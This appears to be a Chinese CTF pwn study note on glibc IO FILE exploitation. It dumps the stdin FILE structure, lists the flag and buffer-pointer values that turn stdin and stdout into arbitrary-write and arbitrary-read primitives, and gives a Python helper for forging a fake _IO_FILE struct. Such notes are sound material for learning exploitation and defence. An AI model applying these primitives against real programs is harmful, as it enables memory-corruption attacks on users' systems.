参考自[原创]IO-FILE中的stdin介绍-Pwn-看雪-安全社区|安全招聘|kanxue.com
IO FILE 之任意读写 – 先知社区 (aliyun.com)
IO FILE之fread详解-安全客 – 安全资讯平台 (anquanke.com)
p *stdin
$1 = {
_flags = -72540024,
_IO_read_ptr = 0x0,#缓冲区内还未被读取的数据起始位置
_IO_read_end = 0x0,#缓冲区内还未被读取的数据末尾位置
_IO_read_base = 0x0,#读入数据的起始位置
_IO_write_base = 0x0,#输出缓冲区基址
_IO_write_ptr = 0x0,#_IO_write_ptr和_IO_write_base之间的地址为已使用的缓冲区,_IO_write_ptr和_IO_write_end之间为未使用的缓冲区
_IO_write_end = 0x0,#输出缓冲区结束地址
_IO_buf_base = 0x0,#缓冲区的起始
_IO_buf_end = 0x0,#缓冲区的末尾
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7ffff7fa7a80 <_IO_stdfile_0_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7fa5b80 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
}
stdin任意写总结
设置_IO_read_end等于_IO_read_ptr。
设置_flag=0xfbad208b。
设置_fileno为0。
设置_IO_buf_base为write_start,_IO_buf_end为write_end;且使得_IO_buf_end-_IO_buf_base大于fread要读的数据。
stdout任意读总结
设置_flag=0xfbad9800
设置_fileno为1。
设置_IO_write_base指向想要泄露的地方;_IO_write_ptr指向泄露结束的地址。
设置_IO_read_end等于_IO_write_base或设置_flag & _IO_IS_APPENDING即_flag | 0x1000。
设置_IO_write_end等于_IO_write_ptr(非必须)。
stdout任意写总结
_IO_write_ptr指向write_start,_IO_write_end指向write_end即可。
附赠好用payload
def struct_io_file(flags=0,read_ptr=0,read_end=0,read_base=0,
write_base=0,write_ptr=0,write_end=0,
buf_base=0,buf_end=0,
save_base=0,backup_base=0,save_end=0,
markers=0,chain=0,fileno=0,flag2=0,lock=0):
f = p64(flags) + p64(read_ptr) + \
p64(read_end) + p64(read_base) + \
p64(write_base) + p64(write_ptr) + \
p64(write_end) + p64(buf_base) + \
p64(buf_end) + p64(save_base) + \
p64(backup_base) + p64(save_end) + \
p64(markers) + p64(chain) + \
p64(fileno) + p64(flag2) + \
p64(0) + p64(lock)
f = f.ljust(0xd0,b'\x00')
return f